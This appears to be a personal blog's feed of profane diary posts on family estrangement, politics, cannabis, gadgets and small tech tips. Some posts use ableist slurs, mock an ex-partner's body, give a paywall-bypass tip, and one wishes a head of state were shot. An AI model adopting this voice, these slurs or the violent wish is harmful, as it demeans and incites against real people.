Okay, so I’ve written some edgy shit in my day. The above is a great example. Does it still reflect who I am as a person? Not fully. In truth, I’ve never cared what people do with their own lives; it’s where their spirituality tries intersecting with my own life that I get pretty cagey. As a response to people trying to insert their religious beliefs in government and education, I developed a very “anti-religion” attitude. The truth is that I don’t think people are stupid for being spiritual, and I don’t hold it against them. There are also plenty of atheists who try to impose their lack of belief on others, and that’s not my style either. Government absolutely should be secular to protect the rights of everyone to practice whatever they see fit. Aside from that, I don’t really care what your beliefs are or how you made the determination to believe them.

Elle Oh Elle

Sat, 01 Jun 2024 09:08:03 -0400

I Do Solemnly Swear

Fri, 31 May 2024 18:20:34 -0400

Yeah, I don’t really have a rhyme or reason for the titles of these things. Haven’t in a minute, really. Nor have I posted anything technical in nature in quite a long time, which is honestly most disagreeable. I do have a song stuck in my head right now, but I don’t know how much you’re supposed to really care about that. One of these days I’m going to do a goddamn technical writeup. No, I mean it! Really! Really? Man, I dunno. We’ll fuckin see, I guess.

Tesht

Thu, 30 May 2024 15:19:38 -0400

Finally have a remote deployment server set up that’s neutral, ie. not located under a roof I pay for. It’s also doing a lot of other stuff, but whatever. It’s not like any of the services I run are particularly iron-heavy. They’re all pretty light, and I have big iron backing me up via content delivery. Either way, it’s a cool addition to the infrastructure.

I was totally going to write something not retarded and just missed the mark. Whatever. I’ll try again later, I guess, lol.

Livejournal Generation

Wed, 29 May 2024 10:09:57 -0400

Synth Pop Sadism

Tue, 28 May 2024 17:07:47 -0400

I’ve written so much over such a long time and I have no more answers now than I began with. It’s always been a coping strategy more than anything else. Like any skill a person can develop, the more you use that ability the more you sharpen it. I don’t feel as though I’ve sharpened my communication skills much over time. It isn’t that I’m particularly bothered by it, but it signals to me that perhaps it’s always been more therapeutic than anything else. I can unload whatever baggage I’ve been shouldering for however long and finally have a break from being encumbered.

Mocking Fallacies

Tue, 28 May 2024 07:50:05 -0400

It’s wild to me how people can support Donald Trump in any way. I’ve witnessed firsthand the “Rock Star Effect” where people are just overcome by meeting famous or popular individuals. I suspect that’s largely what we’re looking at with these MAGA loons. They’re absolutely beside themselves that a billionaire would reach down from on high to glorify their values and their traditions amidst an economy that is suddenly disproportionately favoring “dual-income, no kids” households.

The Liars and Thieves

Sat, 25 May 2024 11:58:16 -0400

Google’s AI is broken because people prioritized bypassing Google’s trash-ass algorithm by specifically searching for reddit results. Well, that’s the current working theory, at least. The result is honestly hilarious. These rich assholes want us to think that anything they do is for us, when really everything they do is to line their pockets. It has fuck all to do with “us”, except that we’re the ones expected to line up and throw our money into the machine. Either our money or our time and labor. It’s asinine, really. Fuck these people. I don’t give a shit about what they’ve invented, their god awful advertising bullshit, or their personal data tracking garbage. Fuck them completely. Fuck Silicon Valley. Fuck Google, Microsoft. Fuck Apple too, really. Apple outwardly says they respect privacy, but everyone knows they’re just as bad as every other company.

Just Want to Go Home

Thu, 23 May 2024 19:48:49 -0400

Flying these days is fucking awful. It was never great, but after all the retarded 9/11 bullshit and now the current state of late stage capitalism, we’re really expected to just cope with five, six, seven hour flight delays that majorly derail our lives.

I’m honestly sick of this shit. We all know it’s a blatant cash grab. We all know it’s bullshit. It’s a way to scrape more profit from the corpse of an already fully excavated corpse. I’m just pissed. Absolutely beyond pissed. What the fucking fuck. Seriously.

Long Time, No See

Thu, 23 May 2024 10:50:31 -0400

Man, lots of wild stuff has happened since we’ve last had this one-sided conversation. Sean Combs is under fire for video of him beating the shit out of his girlfriend going viral. I mean, of course it went viral, it’s horrendous. Whether he learned his lesson or not barely matters. The public is absolutely horrified by the footage, as well they should be. Trump is getting reamed for all the criminal bullshit he’s been up to pre-presidency as well as post. Fuck that bloated whore, selling himself for popularity and status. What a piece of shit.

Isolation

Tue, 30 Apr 2024 09:22:39 -0400

Not gonna lie, I’m really tired. The kind of tired you can’t escape with sleep. The sort of tired you feel in your bones. Honestly, there’s a lot to unpack regarding my mother. We apparently have irreconcilable differences. I’ve made attempts to reconcile, but I’ve had zero reciprocation on her end. Point in fact, I could reconcile with her today if I simply apologized and ignored the ways she would hurt my feelings. It weighs heavy on me lately. Extending hope, snuffing it out, reviving it from death, executing it, my life has been a rollercoaster because my father is dead and my mother is a narcissist. What other word is there to apply to someone who cares only about themselves? That is the canonical definition, is it not? Am I wrong for applying it? Am I the narcissist in this? But then, once I ask myself that last question, I remember that I’ve apologized for everything. I apologized to her for not expressing gratitude for the help she extended me during my divorce. Despite the fact that she told me I was no longer welcome in her presence and subsequently supported my ex wife, I did apologize to my mother for not being grateful. It just wears on me. I want to ignore her, but how do I ignore her when she’s essentially the primary caretaker of my niece? It’s hard, it’s garbage, and I am not doing well. I don’t know what to do. The situation really doesn’t have an escape hatch. There really isn’t anything to do. This time around, though, every day is a struggle moreso than in the past. I really don’t know how I struck “new normals” so many times prior. I think the thing that has me really down and out is the possibility that it’s not really over. That some dire event will shove her in my direction once again and I will be newly distressed in unique and creative ways. The only thing I can think to pre-empt this is to explicitly state that in no uncertain terms I will not even attend her funeral when she passes. I can’t really think of anything else that would force her in my direction. I’m just so done.

Time

Sun, 28 Apr 2024 14:48:22 -0400

It always feels as though there’s never enough time. There are always things to do, things to fix, places to be, people to see. Life is about being continuously engaged. I get it, and I participate, but I also get a ton of down time in between. It’s never really consistent in either direction, just a smattering of chaos that comes and goes. I don’t know. Honestly, I don’t have a lot to write. I feel obliged to check in with this thing on occasion, though. But it sucks to push out junk that I really don’t feel any way about.

Siberia

Thu, 04 Apr 2024 10:13:16 -0400

My niece’s birthday party is this weekend. She’s going to be a year old. She’s absolutely precious and I’m excited to celebrate her first birthday. At least, I’m trying to put that at the forefront of my mind. I’m trying to not allow the negativity to prevail. It’s hard when I know I’m not wanted there. My mother doesn’t want me to be there. My sister doesn’t want me to be there. I grew upset when they put their own preferences for my ex above the needs of my child and honestly that hurt my feelings more than my mom choosing my ex over me.

Anxiety

Thu, 28 Mar 2024 13:05:52 -0400

I know that I’ve been a cause of my relationship with my mom blowing apart, but the real sticking point and reason we’ve never been able to maintain an actual relationship is that everything is one directional with my mom. She accepts no blame, she apparently believes she’s perfect. She has never hurt anyone’s feelings or made any mistakes. People have only ever hurt her feelings and for that they have to pay. She also goes to great lengths to draw others into it. She likes to maintain control on situations. She wants to be the messenger, the middle man, anywhere she can work it out. She wants to be between her subject to control and any/all resources they may have, so that she can withdraw any and all support completely. It’s all control and games with her, and I simply don’t have the energy for it anymore. I’m not playing her games and I don’t care about her control, she can control her own chess pieces and leave me the fuck alone. I don’t care anymore, I’ve mentally and emotionally checked out. I’m not interested in reuniting with her or even pretending to continue a sham relationship. I don’t want any of it. I want out completely, and that’s what I fully intend to be; Out completely. And I’m staying out.

Port 22

Tue, 26 Mar 2024 08:30:44 -0400

I have to say, I love port 22. It’s ubiquitous enough that no system administrator would dare block it, as he would be binding his own hands possibly permanently. Port 22 is the glorious port assigned to secure shell. It’s also how 99% of the internet’s heavy lifting has historically been performed. It’s great to use OpenSSH everywhere as a result, and on occasion you can even pipe traffic over SSH via dynamic port forwarding and whatnot. Good stuff.

Fuck China

Sun, 17 Mar 2024 10:18:44 -0400

China says banning TikTok in the US is “against fair competition”, and to that I have to issue a hardy “fuck you” to the commie scum Xi Jinping and his Parliament of cronies and criminals. Allow the Chinese people to express their views and opinions freely and then maybe we’ll talk, you fucking commie cunt.

I swear to fucking GOD I can’t stand the CCP, and I hope someone shoots Xi Jinping right in the fucking head. Fuck that tyrant piece of shit.

Steel Shavings

Mon, 11 Mar 2024 09:42:07 -0400

An improperly maintained machine can manifest some odd symptoms. Weird noises from grinding. Leaks of various fluids from lubricants to coolants and possibly anything in between, depending on the machine. Steel shavings are never something you want to see in an oil pan.

I feel like there are steel shavings in my oil pan. I’m just running on empty. I’m tired. I haven’t done anything substantial in my hobbies of choice. I’ve wasted time sitting on IRC in front of my computer, at a terminal that I’ve not messed with in several eternities. I haven’t spun up any services, I just keep going the handful of services I’ve configured.

PNC Bank Going Under?

Fri, 08 Mar 2024 08:54:48 -0500

I’ve been a PNC Bank customer on and off for two decades now. More recently I’ve relied upon them to handle my day to day because they purchased the best bank I’ve ever used; Simple. Well, that’s not entirely correct. Simple was purchased by another bank, which PNC Bank swooped in to purchase in a larger acquisition. So I’ve been pissed off at PNC for a long time, because I fucking loved Simple. They provided superior customer service, superior online access, superior banking experience, and I recommended them to everyone.

PAX Optimization

Sun, 03 Mar 2024 19:36:45 -0500

There seems to be a kind of “semi-undocumented” feature in the PAX 3 via way of the “lip presence” detection in the PAX 3. If you open the app and put the vape in “Boost” mode, then start it; watch how the temperature acts when you gently place your finger on the top button just before it clicks. You’ll notice the amount of pressure applied will cause the unit to heat to boost temperatures. I’ve noticed in the app that the presence of my actual lip doesn’t seem to do the trick for the sensor, so using my finger is a great way to maximize the effectiveness of the vape.

PAX Is King

Sat, 02 Mar 2024 20:35:13 -0500

I have three dry herb vapes. I’ve had the Cloudious9 Atomic9 the longest, it was my first dry herb vape. When I got it I really kind of thought it was a toy. After I used it about five or so times I figured out it very much isn’t a toy. It does the job it’s built to do for basically sixty dollars. Honestly it’s a steal at the price listed. It has a full ceramic chamber, decent battery, and it has a pretty reasonable design. It’s no-frills, but decent enough. Instead of displaying temperature with a digital screen it lights LED’s along a number line on the edge of the device when you set the temperature. When I first got it, I did take a while to get used to the notion of dry herb vapes. It took me more than ten sessions to figure out that the device had to warm up past the “green light” signal. No vibration notification here, the LED just changes from red to green to let you know the chamber is up to temp. You’ll notice the first handful of rips won’t even feel like clouds. But you can definitely get decent rips. The chamber is ceramic, which I absolutely appreciate, but it’s not wildly fancy.

Eat the Rich

Mon, 26 Feb 2024 15:32:08 -0500

I’m honestly grossly dissatisfied with the way things are. As it stands, I currently make heaps of money for people “above me” in status. I personally see a small fraction of the fruits of my labor in profit. I could give a shit less about the rich assholes in charge, and if I had my way, I’d reap the entirety of the fruits of my labor.

I hear a lot about how this “land of opportunity” is just waiting to be seized by anyone entrepreneurial enough to grab hold of it. These assholes who say shit like this clearly haven’t felt the full force of someone wealthier than them levying the legal system against them. The reality is that the United States is geared to protecting elite dynasties, just like any other shitty system, even communism.

Nuclear Winter

Thu, 22 Feb 2024 20:05:04 -0500

Big Daddy Smithers

Wed, 21 Feb 2024 21:05:23 -0500

Finally

Wed, 21 Feb 2024 20:56:47 -0500

For the first time in my entire lifetime, I have a partner. I have a real actual partner who is absolutely my better. A partner whom I’m proud to call my partner and brag about and publicly affectionate with and I can be happy for the rest of my life to be with. I’ve always wanted to have that with someone, for someone to be that for me and have that from me as well. Up until now I’ve not had the opportunity. But I’m so grateful to finally have this in my life.

Something Techy

Mon, 19 Feb 2024 18:25:25 -0500

I think I’m going to write about something at least tech related, soon. I know I’ve probably said that about a million times at this point, but I think I might be kind of serious. I’m considering maybe learning NixOS or ProxMox or something interesting and new, and then documenting things I can’t just easily “google” and putting the information up here so that it’s still available. I like to do that, to fill in gaps of knowledge wherever possible, but it’s not always possible. Things are better documented now than they ever have been. You’re rarely if ever left in the dark with damn near any product, whether it’s FOSS and has no warrant, or if it’s proprietary and backed by customer support.

Boredom

Sun, 18 Feb 2024 16:05:02 -0700

Christ almighty, I’m so fucking bored right now. I’m stuck in fucking Colorado in a hotel with a broken ass TV and fuck all to do, because the Colorado weed scene is pathetic compared to home and I am not a fan of the outdoors.

I’m going to go insane from boredom.

Worse yet, I have to travel for work all week next week, so I get to be trapped in a fucking hotel room all next fucking week, too. I really feel like this isn’t appreciated even remotely, but whatever.

Gallimaufry

Sat, 17 Feb 2024 15:31:35 -0700

It’s been a minute since I’ve updated. I figured since I have what feels like many hours free to dedicate to whatever the hell I feel like, I might as well update this old damn thing. At this point I’m going to have to keep this fucking thing up forever. I guess that’s not a bad thing, it’s honestly very therapeutic.

I am deathly afraid of being such an awful person that my kids cut me off and never speak to me again when they become adults. I know I could never cut my kids off, and I hope that they feel that they can approach me any time if they want or need to talk to me about something. I know my youngest feels that way because he’ll nag the shit out of me over whatever petty thing his ten year old mind is completely fixated with at the moment. I constantly worry that one day they’ll move out and I’ll never hear from them again. No calls, no texts, just radio silence. I want to know what’s going on in their lives and I love my little people.

Stoned

Fri, 26 Jan 2024 18:48:26 -0500

Man, a dispensary I use frequently has edibles on sale $3.50 for a 10 pack of 200mg. Fucking insane prices. I remember when I was a teenager and I got bunk weed for like $30. Modern weed where I live puts the shit I used to get to shame tenfold and then some. It’s ridiculous.

The low cost of edibles is the reason my tolerance went absolutely apeshit in the first place. It’s just too easy to start going from 20mg to 40mg to 60mg and beyond. Yet even after I took a whole ass 21 day tolerance break, my tolerance never truly reset to before the crazy 80mg tolerance top-out. I still can’t fucking believe I got to 80mg tolerance. That’s just absurd and expensive and ridiculous.

Grateful

Thu, 25 Jan 2024 09:03:31 -0500

Today is the anniversary of an event I’m incredibly grateful for. Today marks four years since my first date with my wife. It was today that I was given the opportunity to feel partnership and trust for the first time in my life.

I know this is a short one, but I still felt I needed to express it. I love my wife, she’s my partner for life.

Rest in Peace Rick and Morty

Sat, 13 Jan 2024 14:18:10 -0500

I started watching season seven of Rick and Morty and it began pretty painfully. None of what had been established as “Rick and Morty” staples were present in the first eight minutes, which is wild. In the first six seasons you can pretty easily detect pretty telling story arcs that betray who was involved in writing them. Any of that was entirely missing from the first episode of season seven, and I’m pretty sad about it. I won’t be watching season eight, if there is a season eight.

Jewish Tunnels

Thu, 11 Jan 2024 18:28:08 -0500

The news cycle has been wild lately. I guess the biggest recent takeaway is that Chabad Jews are fucking weird. Like really weird. I guess the weirdness of the story has far right pundits going mad. Like they’re foaming at the mouth about this mattress and high chair found in the “illegal tunnel”. Man, I don’t know. It’s not weird to find garbage laying around random places and it easily could’ve just been shit drug in by a homeless person. You never know. But this recent weird story has absolutely lit the internet with wild speculation in all directions, and the Jewish Defense League putting in overtime hours to try and combat the insane narratives coming out of this already insane story about hasidic jews.

November

Mon, 08 Jan 2024 09:31:32 -0500

Am I the only one nervous about this coming November? There are tens of millions of brainwashed cult members actively advocating for the suspension of western democracy in hopes of installing their demagogue either by slander campaigns or likely just more seditious activity. Worse yet it seems like the intelligence community is “on the fence” as far as preventing this bullshit from taking place. They’re not doing anything about it. I know they’re not doing anything about it because they literally have the keys to the kingdom. They have blackmail material on every politician and they’re keeping their best Trump material under wraps.

Ponderance

Sun, 07 Jan 2024 09:47:00 -0500

I just survived a rather gross viral incident that caused my sinus cavity to generate mucous like a torrential downpour. I was coughing up large green chunks by tens of milliliters every day for a solid week, and the stuff coming out of my nose wasn’t any sort of picnic either. It spread through the whole house from person to person for the last month or so. It’s been a pretty disgusting event, really, involving a lot of booger rags.

This Detail Is Important

Sun, 31 Dec 2023 18:45:54 -0500

“Rather than vindicating our constitutional framework, the defendant’s sweeping immunity claim threatens to license presidents to commit crimes to remain in office. The founders did not intend and would never have countenanced such a result.”

This is exactly true. By enabling a Cult of Personality around Trump, his followers are enticing him to become the next Xi Jinping, Vladimir Putin, or Kim Jong Un. This is a horrifying precedent that they’re trying to set that was clearly predicted by Margaret Atwood in her novel “Handmaid’s Tale”. I’m pretty sure Trump himself doesn’t give a shit about wholly eroding western democracy, but do you? Are you in a cult? Do you support democracy? Can you look yourself in the mirror and tell yourself that you really believe Trump was robbed of reelection?

ACAB

Sat, 30 Dec 2023 15:35:19 -0500

ACAB: Because good people do not choose to be cops. I swear to fucking God, these power-tripping psychotic pigs really need to calm the fuck down. The United States is rife with ridiculous speed traps and these pigs just waiting to catch someone going 35 in a school zone just so they can masturbate to their own perceived authority. It’s pretty sickening. At least in Germany they just set up cameras. I’d rather get caught by a camera than some authority-high pig.

The Occult

Fri, 29 Dec 2023 15:17:16 -0500

One of my favorite vices happens to be reading about the occult. As a staunch atheist, perhaps it’s a morbid preoccupation. I don’t believe a single word of it, but I do find it fascinating. Honestly, a lot of the occult are systems of beliefs that had to “go underground” as a result of the oppressive regime of early growing Christianity. In short, Christianity sent underground the very thing they sought to eliminate completely. Most occultists hid within the rank and file of the pious, and I’m sure the same is true today, despite the liberal social climate. If I could go back in time I would seek the source of the Voynich Manuscript. Talk about one curious tome. The writings, to this day, have remained un-deciphered. It is seated flatly besides grimoires detailing how to summon demons and describing their attributes and personalities, and what conjuring them might bring you.

Partnership

Wed, 27 Dec 2023 09:54:53 -0500

I have a lot to be grateful for this season. I have wonderful kids. I have a wonderful family. I also have the best partner in the world. It is amazing to me that I’ve gone so long without knowing what partnership really is. I just “rolled with the punches” through a number of pretty abusive situations and just thought that I was really awful enough to deserve those situations. My wife is my rock. She will be honest with me on how things look from her perspective and I can count on her perspective to help me be better. I’m so accustomed to petty low blows and ridiculous gaslighting that it really did take me a while to settle into what my wife and I share. I’m still learning, to be honest. She is as well. But we’re growing together, we’re learning together, and we’re building and maintaining a strong partnership that will see us both through the best of times as well as the worst of times. So long as we have each other, the worst of times will never be worse than before we met. She is precious to my heart in ways that I had no idea a person could be. She’s my best friend, my lover, my world. She brings a light to my life that I’ve never had before. I love you, Amber.

Python

Fri, 22 Dec 2023 18:16:27 -0500

Man, I installed Python and Jupyter Notebook and I have to say, it’s cool as shit. I’ve been just banging out stupid little “nothing” snippets of code and playing around to just do simple calculations. It’s very cool stuff. I love the fact that it’s near-native speed and wildly easy to program. It feels very gratifying to learn something that I can just apply casually to make getting stuff done easier. I need to keep pushing at it and figure shit out.

Baggage

Tue, 12 Dec 2023 07:43:17 -0500

I want to write about positive things in my life. I want to write about exciting things only days away. I want to write about all the good things, but honestly I’ve used writing as a coping mechanism for so long that I don’t think it’s possible for me to write down anything other than what’s currently troubling me at any given moment. It sucks, but it could be worse. At least I have a coping mechanism.

Diluted

Tue, 21 Nov 2023 21:34:09 -0500

Man, kids say the darnedest things. Like, you can’t stop a kid from talking endlessly about virtually anything they encounter on a daily basis. I guess it’s not really anything to give a second thought to, but I guess it would give someone pause if they’re not doing what they’re supposed to be doing.

I really need these four days off. Not gonna lie. Things feel like they’re ramping up really quickly and I haven’t even started the new role yet. Though I do admit that it’s really nice to leave behind some of what had grown to become a “staple” in life. Some of the work and these companies I’ve primarily supported have become fixtures in my life, and it’s really time to move on. Not just me, but for all of us collectively.

Time Off

Tue, 21 Nov 2023 08:55:06 -0500

I can’t wait for the four day weekend. I really need some time to de-stress and just relax a bit. Things have been pretty crazy lately. My wife and I, we’ve been pretty busy. It seems like we’re going to have to give ourselves a time out here shortly. I think the four day weekend will be a decent time out for me.

Man, I really have fallen off on writing. I go through periods where I can find neither the motivation nor the inspiration to write. It always seems like such an insurmountable wall whenever that happens. I can never quite break through. I just typically have to wait it out.

Borderline Problems

Sat, 11 Nov 2023 10:07:33 -0500

The borderline ex is being an asshole again. She’s been manipulating our son and trying to get him to “keep secrets” because she knows she’s a half-ass mother. She’s also getting called out on it and now being an asshole publicly about my wife. This from someone whose gut is so large she can’t keep her navel clean enough to stop it from weeping with infection. This from someone who had her tongue split. This from someone who has fucking face tattoos, for Christ sakes. Jesus Christ. Why are borderlines like this?

DUI

Thu, 09 Nov 2023 21:54:17 -0500

NDA

Fri, 27 Oct 2023 13:28:54 -0400

I don’t like when projects land in my lap that go through a full gamut of emotions in the span of one or two days. From elation to terror to absolute despair, then full circle once more for good measure, in forty-eight hours- This is less than optimal. It’s also incredibly telling that these people who are trying to tell me how difficult or easy my job of contributing will be have no real clue about what I’m bringing to the table. I can’t tell if they’re over or underestimating me at this point, but I’ve raised some serious doubts, only to have other members from other teams and other companies that are a party to the nonsense raise similar concerns. Now they’re suddenly quite reflexive in anticipating all of these things I’ve already broached on the outset.

ComfyUI With ControlNets

Sun, 22 Oct 2023 20:15:32 -0400

So the first thing you do is a git clone https://github.com/comfyanonymous/ComfyUI. Then cd ComfyUI/custom_nodes. Then issue git clone https://github.com/ltdrdata/ComfyUI-Manager. Last thing to do, navigate to ComfyUI again and issue pip install -r requirements.txt. So I’m skipping some of the PyTorch stuff and that’s important and all, but this is just a real condensed summary that you’re going to have to fill the gaps of. Sorry. I might be too stoned to do a proper doc on it, but it’ll get you pointed in the right direction.

Ruby Franke

Sat, 21 Oct 2023 12:35:05 -0400

I do recommend everyone take a look at the Ruby Franke documentary on Hulu. It’s something I wrote about a while ago. It’s not surprising, the horrors uncovered. I hope Ruby Franke and Jodi Hildebrandt are ruined for the rest of their lives, if they don’t get to rot in a cell for the rest of their lives. These fucking Mormons are awful. Fuck them.

Permission

Fri, 20 Oct 2023 18:06:54 -0400

No one gets unlimited license to hurt your feelings and then tell you that you’re wrong for having them. Especially not when it’s blatantly obvious and is directly observed by many close people. I reserve the right to remove myself from those situations. No one should ever feel as though they have to continually subject themselves to that gaslighting bullshit. No one should ever have to constantly feel like they’re walking on eggshells, just waiting for the other shoe to drop yet again because you’re as predictable as a fucking clock. That’s not okay. So I’m not wasting my time any longer. I’m removing myself from the equation, because I cannot and should not be expected to continue to take it. I deserve better, but I sure as shit don’t get better, because I’m stuck with the least you’re willing to do- which is essentially nothing. I’ve tried to change myself and my life for the better, making better decisions and owning my mistakes in life. The first step to not repeating mistakes forever is to acknowledge that you make them. I guess that’s why we end up here every goddamn time.

Permanently Disable Nest Rush Hour Rewards Spam

Tue, 17 Oct 2023 07:50:51 -0400

This has been annoying me a shitload lately. I’ve been getting “Rush Hour Rewards” spam from my Nest thermostat, and I can find zero help anywhere officially from Google. It looks like it’s based on address, though, so Google “officially” recommends you simply ask to be “de-listed” from your local energy provider’s spam. This, to me, is a ridiculous solution that requires an equally ridiculous rebuttal.

So here’s what we’re going to do:

Twisted Sugar Light

Sun, 15 Oct 2023 10:14:02 -0400

You Don't Know What You Don't Know

Sat, 14 Oct 2023 12:54:45 -0400

Heartbroken

Sat, 14 Oct 2023 11:21:03 -0400

My mother is a toxic person. She has always been a toxic person, and I have a suspicion I know where it started. Her father, my grandfather, was an alcoholic. He demanded obeisance from all his children, he was to be revered and worshipped without question, and my mom didn’t appreciate that. She told me that he was stubborn and demanded “people kiss his ass” and that was why they no longer spoke to one another. It’s ironic, really, that she ever told me that. The apple truly didn’t fall far from the tree. Honestly I was probably at risk for repeating those behaviors if I hadn’t been both incredibly aware of them and unwilling to put my children through that. My relationship with my children will always be one of reciprocity. If I hurt their feelings, I will listen, I will try to understand, and I will try to not continue to hurt their feelings. My mother demands that I be available to her, that I show up as often as I can, and in return I get nothing. She doesn’t invite me to go on vacations, that’s reserved for my ex wife. She won’t invite me to celebrations she has, she won’t invite me to anything. She just demands I be available for it. I’m done. I want nothing to do with my mother anymore. I won’t be available, I am not her pet. She won’t stroke her ego with my broken heart any longer.

Unwanted Sons

Thu, 12 Oct 2023 10:18:50 -0400

I’m sorry, this is going to be an emotional vent post. I have a lot going on right now and I need to let at least some of it out. First and foremost, my mother has utterly abandoned me as a person. When I asked her why, she gave me some stupid bullshit excuse about how our family “does right by exes; for the kids!” Except it’s a fucking lie, because my mom is toxic and awful. I can no longer have anything to do with her as a person on any level. Trying to reconnect with her for what feels like the millionth time now has absolutely gone nowhere. She’s as hateful and stubborn as ever.

Goddamn

Tue, 10 Oct 2023 17:27:16 -0400

Dog and Pony

Wed, 04 Oct 2023 10:44:55 -0400

I need to purge my entire life of Google. I sorely need this. The immediacy of this need is absurd. I really despise the entire economy surrounding the internet at large. It’s disgusting. At some point we’re going to come to a revelation that these “services” offered by data brokers are incredibly immoral and unethical. Someone’s going to die eventually. Just wait and see. All it’s going to take is one abusive husband who wants absolute control to buy information from a data broker in order to find the wife trying to run away from him. It’s only a hypothetical now because it hasn’t been done yet, but it’s in the works. Just watch.

Meme Dumpe

Sun, 01 Oct 2023 18:20:37 -0400

Click “Read more…” for teh memez.

The Wonderful Story of Henry Sugar

Sun, 01 Oct 2023 13:16:14 -0400

SPOILER WARNING: Spoilers ahead! Close immediately if you haven’t seen the movie or read the book.

I’ve never read the book before seeing Wes Anderson’s film adaptation. I want to go back and read it now, though. I feel a connection to the material that makes it feel as though I understand what Roald Dahl was trying to express. It feels as though he was desperately trying to express a wisdom he had learned in life that he thought was very important and worth sharing. After watching the movie, I have to say that I agree.

Cult

Sun, 01 Oct 2023 09:24:33 -0400

It seems like everyone has a set of ideals these days that they’ve dug themselves into like a tick. They’ve found a hole and burrowed deep into it, pushing everyone and everything out. Honestly, I don’t think “treat others as you’d like to be treated” is a bad hole to dig yourself into. In fact, I’d say that it’s the best hole to dig yourself into. Choosing that hole is choosing a hard road, but a righteous one. It’s also fully unoccupied by Trumpers. There aren’t any in that hole. They’re all in the “I don’t care what you say it’s fake news” hole. That’s where you’re going to find Trumpers. Maybe next to the “fuck immigrants” and “fuck the poor” holes. They’re not super far from one another.

Always Sunny

Sat, 30 Sep 2023 13:28:54 -0400

Holy shit, man. I’ve been watching “It’s Always Sunny in Philadelphia” lately and it’s goddamned hilarious. I love it. It’s so fucked up and the plots are never predictable. They’re all over the place. One day the gang is smoking crack to try to get welfare, then they’re trying to sell a kilo of coke they found, and end up selling it for like five percent of its value.

Holy shit this show is fucked up. :joy:

Mocked Mocking Mockery

Sat, 30 Sep 2023 11:52:42 -0400

On the front end not much has changed about this blog. On the back end I’ve made a few tweaks. More than a few tweaks. The heavy lifting is done by Hugo, Git, VSCode, Vim, and Make. I love learning new shit and implementing it to make things easier. It’s super goddamn useful, and honestly I’m loving writing Makefiles to do things automatically rather than bash scripts. It feels cleaner. It might not be any different other than feeling cleaner, but it’s also an extra thing to learn.

Neopronouns

Sat, 30 Sep 2023 11:25:38 -0400

A Guide to Neopronouns

First off, if you care to read that absolute trash just download NoScript and kill javascript on NYTimes.com. Easiest way to bypass their bullshit, since they blocked 12ft.

Now, that article is garbage for many reasons, but one of the biggest is that it claims to be a guide to something without actually explaining anything. There is no actual information in that article, it doesn’t explain anything, it simply excuses stupidity at nearly every new paragraph.

Daily Blast 9/28

Thu, 28 Sep 2023 17:05:14 +0000

Amazon wants to charge a subscription fee for Alexa eventually

This story totally makes sense to me. After all, who wouldn’t pay to have a third party feed the government their private lives on a regular basis? I mean, it sounds like an awesome way to cement 1984 as the defacto standard. Fucking morons. Don’t even get me started on how fucking stupid these systems are. You ask these things for the weather and you end up getting a fucking rotten tomatoes score for the movie “The Weather Man”. Amazon is bad at these systems. Google is bad at them. Apple’s Siri is a pile of shit. None of these voice assistants have ever proved useful, and honestly when it comes to a home automation setup, they’re easily the weakest link.

Perfect Affordable Home Audio

Wed, 27 Sep 2023 17:36:54 -0400

Alright, I have the final puzzle piece in place with regards to my home theater setup. I really feel like this setup is the best setup for me. I love the shit out of this. So I’m going to run through the list. Here we go.

Generic and not super important TV
Schiit Vidar
Schiit Freya
Klipsch R-41M
Apple TV 4K 128gb

So here’s the thing: The Apple TV unit really honestly ties it all together like nothing else. It does everything you want it to and then wraps it up in a rechargeable slick controller that’ll easily tie in with the Freya as a unit. The setup sounds excellent, and if you don’t give a shit about surround sound like I don’t, this setup is the best possible setup you can achieve. The only piece that I think I might want to swap out at any point is the piece I didn’t put in the list above.

Substance

Tue, 26 Sep 2023 17:30:11 +0000

I don’t feel like I have a net positive impact on society. When I search my feelings and examine this notion I’ve arrived at, I don’t really see any contributions that end up being notable. I’ve done things that have amused me or that I’ve enjoyed, but I can’t really say I’ve done anything to meaningfully change anyone’s life. Not someone else’s, not my own, I’ve never really done anything substantial.

NFO

Tue, 26 Sep 2023 00:02:24 +0000

NFO

This is where I’m going to collect all my actually useful blog posts that are worth reading. Ie. the non-emo, non-stupid, actually coherent collections of information worth reading. It’s basically a shortcut to the meat and potatoes of the blog.

I’m going to try to cohesively sort/organize and make it somewhat easy to navigate. Kinda. Sorta. Whatever. Just pick out what you can use.

IRC

irssi 100 window keyboard shortcuts
irssi quick and dirty mass highlight For extra bastard points!
TheLounge Heap Size TheLounge running out of memory? Here’s a fix.
minbif on FreeBSD Cobbled minbif together to run on FreeBSD.
list of freenode staff resignations aka Andrew Lee is a piece of shit.

In Minecraft

Mon, 25 Sep 2023 19:49:39 -0400

Sometimes I’ll be doing something, usually driving, and I’ll sort of go on auto-pilot. My mind will drift away from a connection to what my body is doing and my body will sort of autonomously manage the slight nuances of the steering wheel and my feet will kind of automatically guide the acceleration of the car in a regular manner. It’s the wildest thing to be driving without even being mentally present. Sometimes someone will fuck up and almost hit me, and I’ll either have to brake or swerve or what have you. It’s the weirdest thing to be snapped back to reality. Sometimes the jerk back into reality can feel weird. It can make me wonder if it really happened. Did I actually die without realizing it? Am I actually still here? There are other times I experience that, too. Hell, sometimes I’ll wake up still kind of high from the night prior and wonder if I’m actually alive or if I died in my sleep. It’s the oddest thing. I mean, I rationally know I am not dead. But without knowing exactly what death is as an experience, how does anyone know they’re alive? You can observe a dead person at a funeral home, but those dead people might not be dead in another universe, right? I don’t know. It’s all just so weird. Every day feels longer than the last and yet somehow they’re slipping by without my even realizing.

Demiurge

Mon, 25 Sep 2023 09:43:08 -0400

Have you ever read about the cosmogony of the gnostics? It’s wild. It’s some of the wildest shit I’ve ever read, and humorously enough it’s about equally possible compared to the ordinary Judeo-Christian bullshit people readily lap up like so many thirsty bitches. They believe that the universe was created by a subordinate God, the Demiurge. He’s not the godhead, necessarily, but an agent of it. They also believe in reincarnation. I suppose I should say “believed”, since they were very effectively stamped out with the formation of the orthodoxy. It’s an interesting thing to think about. Can you imagine going to a church, and then having a rival church show up and tell everyone at your church that you’re all “worshipping god incorrectly”? It’s funny, though. We’re seeing the exact same thing today with LGBT-friendly churches earning plenty of ire from other, more mainstream religious entities.

Fuck

Wed, 20 Sep 2023 19:05:02 -0400

Bruh. For fucking real though. What a day. Just what a fucking goddamn day. It’s just goddamn crazy. But after tomorrow so much will be over. I’ll have wrapped up a number of projects and closed a couple orders. And it’s about fucking time. Like, seriously. I’ve been absolutely stretched thin on this shit. It feels like I haven’t relaxed in a while. I mean, goddamn.

I don’t know. I just don’t know. Life comes at you fast. It really does.

Armie Hammer is a Sad Little Manlet

